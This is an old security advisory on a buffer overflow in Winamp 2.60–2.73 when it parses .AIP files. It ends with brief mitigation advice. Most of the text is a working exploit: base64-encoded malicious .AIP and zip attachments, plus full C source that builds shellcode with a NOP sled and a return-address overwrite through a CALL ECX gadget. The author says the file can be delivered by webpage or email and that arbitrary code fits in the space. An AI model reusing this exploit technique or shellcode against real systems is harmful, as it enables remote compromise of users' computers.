COMMAND
Winamp
SYSTEMS AFFECTED
Winamp 2.60..2.73
PROBLEM
ByteRage found following. Winamp has a buffer overflow condition
when parsing *.AIP files (which are set to be automatically
downloaded without user intervention, just like the *.M3U / *.PLS
files).
The bug can be reproduced by simply putting a lot of As (about
2100) in an *.AIP file and doubleclicking it. A sample *.AIP has
been attached (mimed).
The sample *.AIP will attempt to snatch the EIP and set it to
080808080h, it seems to work most of the time, but not always.
Snatching the EIP seems to be the hardest part of writing an
exploit for this bug.
This buffer overflow could lead to a system compromise on a
windows computer running winamp 2.7x / 2.6x either via a webpage
or by sending an e-mail which opens a malicious *.AIP.
---
Content-Type: application/octet-stream; name="snatch-e.zip"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="snatch-e.zip"
Content-MD5: 0bpN+XYB6feWlUu3JM5IPQ==
UEsDBBQAAAAIABymnCoFdJe4IgAAADUIAAAXAAAAU05BVENILUVJUC04MDgwODA4MC5haXD7
/38UjIJRMApGwSgYBSMRGCABR0cDDGABhYZGxiYgzAAAUEsDBBQAAAAIAM6onCplSaOVDAEA
AHUBAAAKAAAAUkVBRE1FLnR4dDWQwUrEMBRF94X+w90IKjNp1YUiIjOK4Gxk0AEX4iIdX9to
0leSN8b69aYdh2xCcm7euXl5Wm7uH+cPq/X8qtwvtVytEY21ED9Adx8IJEgEhFEeqHaWZ7tg
ugbSEqpdXZMHf5OvLUeYbjp+NZ12Pc7V5QVOp3d77QP5PKvZw7GnRKat02K4m6VBBDcgUhWM
EBZoRfrroogxqmoQ8rohtf2sVEeSZ8f/t2RrVfGPCl/FASpO8izPNq0JcKZpBR0LKpqkHAcB
92Kctoh6ANdjQxm7pJYz6AAjSNExdFaWR/Bkja4sJUN2lJI0IbU2NiilxlmNJ5Lf9Clvd8nh
OTm84+agsxh0y6y27G5H9g9QSwECFAAUAAAACAAcppwqBXSXuCIAAAA1CAAAFwAAAAAAAAAA
ACAAtoEAAAAAU05BVENILUVJUC04MDgwODA4MC5haXBQSwECFAAUAAAACADOqJwqZUmjlQwB
AAB1AQAACgAAAAAAAAABACAAtoFXAAAAUkVBRE1FLnR4dFBLBQYAAAAAAgACAH0AAACLAQAA
AAA=
-----
'ByteRage' has written a simple proof of concept *.AIP file for
the Winamp 2.6x / 2.7x buffer overflow. It will display a
messagebox & kill the winamp process. The exploit can be
launched by any webpage or e-mail effectively turning winamp into
a backdoor into any windows computer. The c code is attached
too...
---
Content-Type: application/octet-stream; name="hackme.aip"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="hackme.aip"
Content-MD5: aXd+bYZLyDkhwFbWUBUUYw==
MDAwMDAwMDAwMDAxMDAwMDAwICAgICAgICAgMFVmaDMyaFVTRVJU/xWMEBBCakFmaG94aGFn
ZUJoTWVzc1RQ/xX0EBBCVWhJTkchaFdBUk6L3FVqIWhmdWxsaGNjZXNodCBzdWhwbG9paHQg
ZXhobmNlcGhmIGNvaG9mIG9oIHByb2gyLjd4aC42eC9obXAgMmhXaW5hi8xqMFNRVf/QVWhF
TDMyaEtFUk5U/xWMEBBCanNmaGVzaFByb2NoRXhpdFRQ/xX0EBBCVf/QkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ6Rz4//8wMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4M0FEMTE0MgDA68s=
-----
C code:
/***************************************************************************
* wabof3.c - Winamp 2.6x/2.7x proof of concept code *
* *
* proof of concept code written by [ByteRage] *
* *
* the exploit is based upon WMAUDSDK.DLL v4.00.0000.3845, which is the *
* version that gets installed with winamp 2.6x / 2.7x. It should work *
* fine if that version wasn't overwritten by another program *
* *
* <byterage@yahoo.com> / byterage.cjb.net (http://elf.box.sk/byterage/) *
***************************************************************************/
#include <stdio.h>
#define LoadLibraryA "\x8C\x10\x10\x42"
#define GetProcAddress "\xF4\x10\x10\x42"
const char * newEBP = "00000000"; // we'll set EBP=0 and use it in the sploit
const char * newEIP = "83AD1142"; /* The new EIP must jump us to ECX
@4211AD83 we find FFD1 = CALL ECX
(in WMAUDSDK.DLL 4.00.0000.3845) */
// The exploit is no big wonder, it just shows a messagebox and kills
// the winamp process, however we have 2015 bytes for our code and we
// can still reload from the *.AIP so in theory anything is possible...
const char sploit[] =
"\x55""\x66\x68""32""\x68""USER"
"\x54"
"\xFF\x15" LoadLibraryA
"\x6A""A""\x66\x68""ox""\x68""ageB""\x68""Mess"
"\x54"
"\x50"
"\xFF\x15" GetProcAddress
//throw lpCaption on stack and save ptr in EBX
"\x55""\x68""ING!""\x68""WARN"
"\x8B\xDC"
//throw lpText on stack and save ptr in ECX
"\x55""\x6A""!""\x68""full""\x68""cces""\x68""t su""\x68""ploi"
"\x68""t ex""\x68""ncep""\x68""f co""\x68""of o""\x68"" pro"
"\x68""2.7x""\x68"".6x/""\x68""mp 2""\x68""Wina"
"\x8B\xCC"
"\x6A\x30"
"\x53"
"\x51"
"\x55"
"\xFF\xD0"
"\x55""\x68""EL32""\x68""KERN"
"\x54"
"\xFF\x15" LoadLibraryA
"\x6A""s""\x66\x68""es""\x68""Proc""\x68""Exit"
"\x54"
"\x50"
"\xFF\x15" GetProcAddress
"\x55"
"\xFF\xD0"
;
int i;
FILE *file;
int main ()
{
printf("Winamp 2.6x/2.7x proof of concept c0de by [ByteRage]\n");
file = fopen("hackme.aip", "w+b");
if (!file) {
printf("Ouchy, couldn't open hackme.aip for output !\n");
return 1;
}
fprintf(file,"%03d%03d%03d%03d%03d%03d%10ld",0,0,0,1,0,0,0);
// (2) our exploit starts here
fwrite(sploit, 1, sizeof(sploit)-1, file);
// we fill the rest with NOPs
for (i=0; i<(2015-(sizeof(sploit)-1)); i++) { fwrite("\x90", 1, 1, file); }
// (1) we jump back a little more to (2)
fwrite("\xE9\x1C\xF8\xFF\xFF", 1, 5, file);
for (i=0; i<28; i++) { fwrite("0", 1, 1, file); }
fwrite(newEBP, 1, 8, file); fwrite(newEIP, 1, 8, file);
// ECX points here on overflow
// we don't have alot space, so we jump to (1)
fwrite("\x00\xC0\xEB\xCB", 1, 4, file);
fclose(file);
printf("hackme.aip created!\n");
return 0;
}
SOLUTION
Winamp 2.5e, 2.50, 2.24 and 2.04 seem to be OK. Consider turning
off automatic downloading of *.AIP files (also consider turning
it off for *.M3U, *.PLS, *.WPZ, *.WSZ, ...), so that if a
suspicious webpage or e-mail attempts to open *.AIP files with
winamp, you can decide not to hit 'execute from current location'.
Winamp 2.74 doesnt seem to be affected by the bug - only 2.60 ->
2.73 are affected, the AIP file format is some format invented by
AudioSoft to provide a legal way to get MP3's from the net. AIP
files or AudioSoft parameter files seem to contain weakly
encrypted authentication information... The buffer overflow occurs
right in the decryption loop, there's no bounds checking there...